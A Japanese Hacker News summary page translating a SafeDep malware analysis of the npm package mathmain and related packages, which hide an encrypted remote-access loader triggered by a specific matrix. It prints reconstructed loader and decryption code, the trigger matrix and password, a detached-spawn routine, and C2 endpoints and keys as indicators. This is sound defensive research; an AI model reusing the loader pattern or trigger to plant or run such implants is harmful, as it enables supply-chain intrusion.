HN 日本語サマリー

← 一覧へ戻る
セキュリティ

NPMの数学ライブラリはなぜ暗号化されたローダーを必要とするのか?

Why Does an NPM Math Library Need an Encrypted Loader? (safedep.io)

127 pointsby abhisek37 コメント

要約

SafeDepチームは、人気のあるmathjsライブラリのコピーであるnpmパッケージ[email protected]内に隠されたリモートアクセス型トロイの木馬を発見しました。このマルウェアは、特定の数式が解かれるまで暗号化された状態で待機し、攻撃者からのコマンドを実行します。攻撃者は公開チャットサービスとブロックチェーンネットワークをコマンドチャネルとして使用していました。このローダーは、公開されているGitHubリポジトリには含まれておらず、パッケージの公開時に追加されたものと推測されています。

全文翻訳

NPMの数学ライブラリになぜ暗号化されたローダーが必要なのか?

人気ライブラリmathjsをコピーしたnpmパッケージ[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)の中に、リモートアクセス型のインプラントが隠されているのを発見しました。悪意のあるコードは暗号化されて配布されています。呼び出し元が特定のパスワードを生成する行列データを提供すると、ローダーが起動します。キーが一致すると、パッケージはペイロードを復号して実行します。インプラントは、オペレーターから暗号化されたコードを受け取り、ホスト上でそれを開始します。コマンドチャネルには、公開チャットサービスとブロックチェーンネットワークを使用します。この記事では、ローダーの発見方法、復号方法、ペイロードの機能、および検出に役立つ指標について説明します。

私たちは、2026年9月17日にSafeDepによるmathmainの分析から分析を開始しました。このパッケージは、異なる名前と難読化されたコードを持つmathjsのコピーのように見えました。ソルバーに追加された1つの呼び出しが、私たちをローダーへと導きました。

ソルバーが型チェックを呼び出す

lusolve()の終盤近くで、CommonJSビルドに追加された呼び出しを見つけました。ソルバーは既に結果を計算していました。その後、下三角行列のデータをremoveSolveValidation()に渡しました。

// 読みやすいように再構築: 回復した文字列とリネームされたローカル変数。l && (q = removeSolveValidation(l._data));return x;

ここで、lは下三角行列を保持し、xは結果を保持します。ソルバーはxをそのまま返します。追加された呼び出しの戻り値はqに代入されますが、qはその後使用されません。

removeSolveValidation()を追跡した結果、lib/cjs/utils/is.js内のisGraph()にたどり着きました。このファイルには、isMatrixやisNumberのようなチェックが含まれています。追加されたisGraph()関数は、コードを復号してロードします。

// 読みやすいように再構築: 回復した文字列とリネームされたローカル変数。const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';function isGraph(x) {
  const name = validEvent(STAGE1_BLOB, JSON.stringify(x));
  const target = path.join(__dirname, name);
  const mod = require(event(target, JSON.stringify(x)));
  return (x && mod.validGraph(JSON.stringify(x))) || false;
}

isGraph()は、入力をJSON文字列に変換し、その文字列をパスワードとして使用します。まずファイル名を復号します。次に、ファイルパスとパスワードをevent()に渡し、返されたパスをrequire()でロードします。

ローダーのスニペットを、文字列を復元しローカル変数をリネームすることで、読みやすくしました。この記事の末尾にあるハッシュは、元のファイルを識別します。

行列データがパスワードになる

lib/cjs/utils/event.jsで復号関数を見つけました。これらはscryptを使用してパスワードを256ビットのキーに変換します。その後、Galois/Counter Mode (AES-GCM) でAdvanced Encryption Standardを使用してデータを復号します。

// 読みやすいように再構築: 回復した文字列とリネームされたローカル変数。const key = crypto.scryptSync(password, salt, 32);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return Buffer.concat([decipher.update(ciphertext), decipher.final()]);

暗号化されたデータは固定のレイアウトを持っています:16バイトのソルト、12バイトの初期化ベクトル、および16バイトの認証タグです。暗号文はこれらのフィールドの後に続きます。パッケージはシーケンス全体をbase64テキストとして保存します。

ソルバーを介した呼び出しでは、パスワードはJSON.stringify(L._data)です。呼び出し元は、lusolve()のオブジェクト形式を通じてLを提供できます。したがって、呼び出し元は正しいパスワードを生成する行列データを提供する必要があります。可視化されたローダーにはパスワードは保存されていませんでした。

暗号化されたファイル名には8バイトの暗号文があります。当初、ローダーの隣にあり、名前も8バイトであるgraph.jsというファイルを疑いました。後述の復号により、そのファイル名であることが確認されました。

ローダーはファイルを書き込み、実行する

成功した場合、event()ヘルパーはファイルを復号し、結果をディスクに書き込み、出力パスを返します。

// 読みやすいように再構築: 回復した文字列とリネームされたローカル変数。const plaintext = eventEmitter(file, password);
const dir = path.dirname(path.resolve(file));
const base = path.basename(file).replace(/^enc_/, '');
const outPath = path.join(dir, base);
fs.writeFileSync(outPath, plaintext);
return outPath;

復号または書き込みに失敗した場合、event()はエラーをキャッチし、元のパスを返します。

ファイル名にenc_プレフィックスがない場合、ヘルパーは暗号化されたファイルを復号されたコードで上書きします。isGraph()のrequire()呼び出しは、それをロードします。そのコードは、Node.jsプロセスと同じ権限で実行されます。

追加された3つのファイルには、通常のJavaScriptではなくbase64データが含まれています。

lib/cjs/utils/下のパス暗号文のバイトサイズ
graph.js20,918
fraction.js9,084
bignumber/type.js1,179,416

最後の2つのファイルへの参照は、可視化されたローダーには見つかりませんでした。復号されたgraph.jsは、ペイロードセクションで示されているように、それらを後続のステージとしてロードします。

マニフェストにインストールフックは見つかりませんでした。レビューしたパスを通じてパッケージをインポートしても、ローダーはアクティブになりません。ソルバーは、追加された呼び出しに到達するために、まず検証および計算ステップを通過する必要があります。パスワードが間違っている場合、ヘルパーがファイルを書き込む前に、validEvent()は認証チェックに失敗します。

同じローダーがさらに2つのパッケージに出現

npmレジストリを検索したところ、さらに2つのパッケージ、mathsbaseとmath-universeが見つかりました。5つのバージョンにわたって、同一のローダーファイル、トリガーコード、ソルバーの変更、および2つの大きな暗号化ファイルが見つかりました。

[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)の暗号化されたgraph.jsは、他のコピーとは異なります。共有ファイルはこれらのリリースを接続しています。誰がローダーを追加したのか、または誰かが発行者のアカウントを乗っ取ったのかはわかりません。

9月17日、npmは[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)をデフォルトリリースとして提供しました。そのバージョンにはこのローダーは含まれていませんでした。デフォルトバージョンのみをチェックしていた場合、1.0.1のコードを見逃していたでしょう。

9月19日、3つのパッケージすべてのnpmダウンロード数を確認しました。これらの合計は、2026年9月12日から18日までの各パッケージの全バージョンを対象としています。

パッケージ報告されたダウンロード数
mathmain605,157
mathsbase1,923,059
math-universe569,730

npmはまた、9月17日全体のレジストリでのダウンロード数がゼロであったと報告しました。これにより、mathmainの以前のゼロダウンロード数は信頼性が低くなります。公開されている依存関係の検索では、カバー範囲内にコンシューマーは見つかりませんでした。保存されたダウンロード統計では、トラフィックを生成した人物を特定できません。これらのカウントは、いくつのシステムがパッケージをインストールしたか、または暗号化されたコードが実行されたかを示していません。

ローダーはGitHubソースにはない

mathsbaseとmath-universeパッケージは、それぞれ公開GitHubリポジトリにリンクしています。両方を読みましたが、レビューしたコミットにはローダーは含まれていませんでした。

リポジトリレビューされたコミット
github[.]com/tinystar8/mathsbase560d97e66140dbf817e04284a7a0c58757d1202e
github[.]com/mathubio/math-universeda99dd46501c75ba6102a51ef60ebb922174da32

公開されているmath-universeソースは、ソルバーを次のように終了しています。

// mathubio/math-universe, commit da99dd46501c75ba6102a51ef60ebb922174da32// src/function/algebra/solver/lusolve.js; 元のソース抜粋。
if (q) {
  x._data = csIpvec(q, x._data);
}
return x;

追加のremoveSolveValidation()呼び出しはありません。npmビルドには含まれています。レビューされたGitHubソースにはありません。この違いは、いつ、どのように誰かがローダーをnpmビルドに挿入したかを確立するものではありません。

ソルバーにトリガーを呼び出すプログラムも探しました。GitHubのコード、ロックファイル、および依存関係サービスを検索しましたが、何も見つかりませんでした。プライベートプロジェクトや検索エンジンが見落とすコードは、手の届かないところにあります。

初期の試みではパスワードが見つからなかった

16,922個の可能なパスワードを暗号化されたファイル名に対してテストしました。一部は対角成分がゼロの行列から来ており、これらは以前の検索で除外されていました。

2回目の検索では、533個の可能なパスワードを、古いgraph.jsを含む5つの異なる暗号化されたブロブすべてに対してテストしました。一般的なパスワードとソルバーのテストからの数値配列を試しました。どちらの検索でも、認証チェックをパスするパスワードは見つかりませんでした。

一部のパスワードは両方の検索に現れました。

テストデータと既知のパスワードでツールをチェックしました。検索は完了しました。推測したパスワードはどれも機能しませんでした。成功したパスワードは、テストした候補の外にありました。

暗号化の解析

パスワードは、行列のLU分解における下三角因子LのJSON形式です。JFrogが最初に報告した入力がそれをもたらしました。その後、mathmainファイルに対して結果を再現しました。

回復されたトリガーは3x3のパスカル行列です。

A = [[1, 1, 1],
     [1, 2, 3],
     [1, 3, 6]]

呼び出し元はlusolve()にAを渡します。ソルバーはAのLU分解を実行します。下三角因子Lは[[1, 0, 0], [1, 1, 0], [1, 0.5, 1]]になります。ローダーはLをJSON文字列に変換します。その文字列がパスワードです。

実際のファイルに対してこれを検証しました。パスワードはLのJSON形式です。

// SafeDepによる[email protected]に対する再現。
const A = [
  [1, 1, 1],
  [1, 2, 3],
  [1, 3, 6],
];

const L = lup(A).L.valueOf(); // [[1,0,0],[1,1,0],[1,0.5,1]]
const password = JSON.stringify(L); // '[[1,0,0],[1,1,0],[1,0.5,1]]'

const blob = Buffer.from(STAGE1_BLOB, 'base64');
const key = crypto.scryptSync(password, blob.subarray(0, 16), 32);
const d = crypto.createDecipheriv('aes-256-gcm', key, blob.subarray(16, 28));
d.setAuthTag(blob.subarray(28, 44));

const name = Buffer.concat([d.update(blob.subarray(44)), d.final()]).toString();
// name === 'graph.js'

パスワードはファイル名をgraph.jsに復号しました。また、mathmainおよびmath-universe内の3つのペイロードファイルを復号しました。mathmainのペイロードは、math-universeのペイロードとバイトごとに一致します。[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)は、異なる暗号化データに対して同じパスワードを使用しています。したがって、同じパスワードがファミリー全体をアンロックします。

ペイロード分析

復号されたファイルは、小さなリモートアクセスインプラントを形成します。各ファイルには1つのジョブがあります。以下の発見は、復号されたコードの静的レビューに基づいています。

復号されたgraph.jsは最初のステージです。ローダーは復号後にrequire()でそれを実行します。osとfsを使用してホストデータを読み取ります。NodeのcryptoモジュールをgenerateKeyPairSyncとdiffieHellman経由で使用してX25519キーペアを生成します。child_processを使用して、分離されたNode.jsプロセスを開始し、子プロセスを管理します。バンドルされたethersのコピーを使用してBase Sepoliaテストネットワーク上のスマートコントラクトを読み取ります。Slackのchat.postMessageとapi.telegram.orgに報告します。その後、bignumber/type.jsとfraction.jsを後続のステージとしてロードします。ネットワーク詳細はbase64テキストとしてファイル内に配置されています。

// 復号された graph.js ([email protected]) からデコードされた定数。
// Base Sepolia コントラクト   0xac0bfC4C48A679b667732128278EACBA1c191894
// RPC (Infura)            base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938
// RPC (Alchemy)           base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI
// Telegram ボット            8961878831:AAG4... (秘密情報は編集済み)
// Slack ボット               xoxb-11307403103236-11289767127959-... (秘密情報は編集済み)

復号されたbignumber/type.jsはethersライブラリのコピーです。ファイルにはethers/5.7.2マーカーとJsonRpcProviderおよびsecp256k1シンボルが含まれています。インプラントはこのライブラリを使用してスマートコントラクトを読み取ります。

復号されたfraction.jsはSlackエージェントです。process.argv[2]からCHAT_PASSWORD、process.argv[3]から親プロセスID、process.argv[4]からトリガーパスワードを読み取ります。親プロセスはエージェントを開始する際にこれらの引数を供給します。CHAT_PASSWORDはX25519で派生した共有秘密です。エージェントはトリガーパスワードを使用してSlackボットトークンとチャンネルIDを復号します。

// 復号された lib/cjs/utils/fraction.js; 回復した文字列、元の識別子。
const CHAT_PASSWORD = process['argv'][0x2],
      PARENT_PID = Number(process['argv'][0x3]);

エージェントは10秒ごとにSlackのconversations.historyエンドポイントをポーリングします。送信者識別子をチェックし、承認されたメッセージテキストをJSONパケットに復号します。開始パケットは転送を開き、チャンクパケットはファイルコンテンツを提供し、終了パケットはチャンクを結合します。エージェントは結果をlib/cjs/utils/subwatcherに書き込み、Node.jsで開始します。

// 復号された lib/cjs/utils/fraction.js; 回復した文字列、元の識別子。
function runProcess(_0x490de7) {
  console['log'](_0x490de7);
  const _0x1335c7 = spawn(process['execPath'], [_0x490de7], {
    detached: !![],
    stdio: 'ignore',
    windowsHide: !![],
  });
  _0x1335c7['unref']();
}

ブロックチェーンパスもリモートデータを復号し、subwatcherを書き込み、Node.jsで開始します。これらのパスにより、オペレーターは必要なセットアップが成功したホスト上でコードを実行できるようにします。インプラントは回収しましたが、これらのチャネルを通じて配信された後続のコードは回収できませんでした。したがって、オペレーターが被害者に対してどのようなタスクを実行したかは不明です。

トリガーが被害者に到達する方法

ローダーは、呼び出し元が因子Lを生成する入力でソルバーを実行するまで不活性なままです。通常のインポートでは追加コードに到達しません。呼び出しが間違ったパスワードでローダーに到達した場合、ファイル名の認証チェックは、ペイロードの書き込み前に行われます。パスワードはLのJSON形式であるため、パスカル行列だけが唯一のトリガーではありません。呼び出し元は、L自体を係数行列として渡すことができます。なぜなら、それ自身のLU分解の下三角因子は再びLだからです。呼び出し元は、lusolve()のオブジェクト形式を通じてLを提供することもできます。どちらの入力も同じパスワードを提供します。

パッケージには暗号化されたインプラントが含まれています。2番目のパッケージまたは別の呼び出し元がトリガー行列を提供できます。これは可能な配信経路ですが、攻撃で使用された呼び出し元は見つかっていません。

公開コードではその呼び出し元は見つかりませんでした。GitHubと依存関係の検索では、トリガーでソルバーを呼び出すプロジェクトは見つかりませんでした。プライベートコードや削除されたプロジェクトは、その検索範囲外です。

調査タイムライン

すべての時間は協定世界時(UTC)です。公開時間はnpmレジストリのメタデータから取得しました。

日時イベント
2026年8月26日 08:14[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)が公開されました。一致するローダーは見つかりませんでした。
2026年8月27日 07:44ローダーと暗号化されたファイルを含む[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)が公開されました。
2026年9月15日 03:38一致するローダーを含まない[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)が公開されました。
2026年9月16日 12:06ローダーを含む[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)が公開されました。
2026年9月16日 13:39ローダーを含む[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)が公開されました。
2026年9月16日 14:141.0.2の後、ローダーを含む[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)が公開されました。
2026年9月17日 06:53一致するファイルを含む[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)が公開されました。
2026年9月17日ソースレビュー、コンシューマー検索、およびさらなる復号試行が完了しました。プレーンテキストは回復されませんでした。
2026年9月19日npmは9月18日までのmathmainのダウンロード数を605,157件と報告しました。
2026年9月21日JFrogが分析を公開しました。トリガー行列を回復しました。
2026年9月21日SafeDepは復号を再現し、mathmainペイロードを読み取りました。

侵害の兆候

これらの指標を使用して、パッケージ、ローダー、および復号されたインプラントを見つけてください。パッケージまたはハッシュの一致は、コードがホストで実行されたことを証明するものではありません。呼び出し元はまずローダーをトリガーする必要があります。

悪意のあるパッケージ

SafeDepは、mathmain、mathsbase、およびmath-universeのローダーを分析しました。以下の表は、このキャンペーンにおける悪意のあるパッケージの全リストです。

npmパッケージ悪意のあるバージョン初回公開日
modern-events1.3.3, 1.3.4, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.5.0, 1.5.1, 1.5.22026-03-03
graphcore-js2.3.2, 2.3.4, 2.4.1, 2.4.22026-03-17
graphlib-js1.2.0, 1.2.1, 1.2.2, 1.3.2, 1.3.3, 1.3.42026-03-17
quick-events2.1.32026-04-23
@ignacionunez91/keccak241.0.72026-05-05
crypto-hasher3.1.2, 3.1.32026-05-06
events-channel2.3.1, 2.3.2, 2.4.12026-05-21
events-router2.1.42026-05-22
events-runtime3.1.3, 3.2.0, 3.2.1, 3.2.3, 3.2.4, 3.3.02026-06-08
sort-btree2.1.6, 2.2.02026-06-14
ordered-btree3.2.22026-06-18
indexed-btree2.1.22026-06-18
@andrewstory18/is-real-odd2.0.32026-06-30
@oliviamcdaniel12/safer-buffer2.2.0, 2.2.12026-07-10
mutex-forge2.0.0, 2.0.1, 2.0.22026-08-11
mutex-thread1.3.02026-08-14
mutex-core2.1.22026-08-17
matrixflow-js3.2.12026-08-18
mutex-plus3.0.22026-08-18
mutex-lite1.4.22026-08-18
matrixkit-js1.0.02026-08-24
mathsbase1.0.12026-08-27
math-universe1.0.0, 1.0.1, 1.0.22026-09-16
mathmain1.0.02026-09-17

以下のSHA-256アーカイブは、SafeDepが分析した各バージョンのnpm tarballからのものです。

npmパッケージバージョンアーカイブSHA-256
[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)1723a0df210ac61281a504f3a07ec3605d20151631e0635cc344cacc71019135
[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)03e13cdedd9c33e6fed25092b1ec7dcf11cc5962c0fbb6b3e90ba95bfec1b034
[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)7e5e1bcdc6a7b0e3437269a236b49ef2be4f77081c7de5130d503c103fd6be69
[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)bfe772e7ee044fd6f0bdf53e83f44aad7c9ee1925baf0cf4d884a312aa9ba50e
[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)4eb1d59df7dc80dbe3ec154481e61e8824422037092c188f0cc146b543615a66
トリガーとパスワード

呼び出し元は1つの行列でローダーをアクティブにします。パスワードはその行列のLU下三角因子のJSON形式です。

アイテム値
トリガー行列[[1,1,1],[1,2,3],[1,3,6]]
パスワード[[1,0,0],[1,1,0],[1,0.5,1]]
ステージ1ブロブIapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==
ローダーファイル

これらの2つのファイルハッシュは、上記の5つのバージョンで一致します。

ファイルSHA-256
lib/cjs/utils/event.jsab66c98e8ed5235feb963ec8845765f62f5f26b1c58c266c409767e53bcb5ccd
lib/cjs/utils/is.js5d9e952c51875d2b897eedc22b002b94ab21c8004d513bc99ce3a885f8a01dae
暗号化されたペイロードファイル

base64ブロブはlib/cjs/utils/の下にあります。[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)と3つのmath-universeバージョンは1つのセットを共有します。[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)は異なるgraph.jsブロブを配布します。

ファイルSHA-256デプロイメント
graph.jsed9b078594393d09d91ee008366ca75e3017cca18c79af99c5b294c61db67f06A
fraction.js09773ee7db70216b778b15cfcd94cb1df8963eddd4a47b801c96f986651699e6A
bignumber/type.jsca4fe552da461fec5b51d5964d979699f06888499be442f209125853dff3e0e1A
graph.js0aa46d32e4b479cc09f97cc66a1f12ca96b0497a7eb6ffc6b46ed3ef80e3c83bB
復号されたペイロードファイル

これらのハッシュは、デプロイメントAから回復したプレーンテキストをカバーしています。ローダーが実行されたホストは、ディスク上にこれらのハッシュを持つファイルを持っている可能性があります。

ファイルSHA-256
graph.js1e0f09c84aaf573627c003ce0f086517c3ea980cbea02f8ff918b1cc0d7e0bbb
fraction.js6fd655d7196880fc5783f9dbb62b428baf220c2781970be54044376330be7af3
bignumber/type.js6b1ad71bc3765dd272ea2ac63c1ea6ed97091ba0067d0b3e2294e1b34177cb25
コマンド&コントロール

復号されたgraph.jsファイルからこれらのエンドポイントを回収しました。デプロイメントAはmathmainとmath-universeをカバーします。デプロイメントBは[[email protected]](https://safedep.io/cdn-cgi/l/email-protection)をカバーします。RPCはリモートプロシージャコールを意味します。2つのボットトークンの秘密の半分は編集しています。

デプロイメントタイプ値
Aスマートコントラクト0xac0bfC4C48A679b667732128278EACBA1c191894 (Base Sepolia)
ARPC (Infura)base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938
ARPC (Alchemy)base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI
ATelegram ボット8961878831 (トークンは編集済み)
ASlack ボットxoxb-11307403103236-11289767127959-... (秘密情報は編集済み)
Bスマートコントラクト0xE390863Dac96a7118C71227C2b099B50cF602D31 (Ethereum Sepolia)
BRPC (Alchemy)eth-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI
BSlack ボットxoxb-11307403103236-11289767127959-... (秘密情報は編集済み)

両方のデプロイメントは同じAlchemyプロジェクトキーD2-TbkB2m05WXSnSDOCDIを使用しています。この共有キーは、デプロイメントを同じAlchemyプロジェクトにリンクします。オペレーターの身元や数は確立されていません。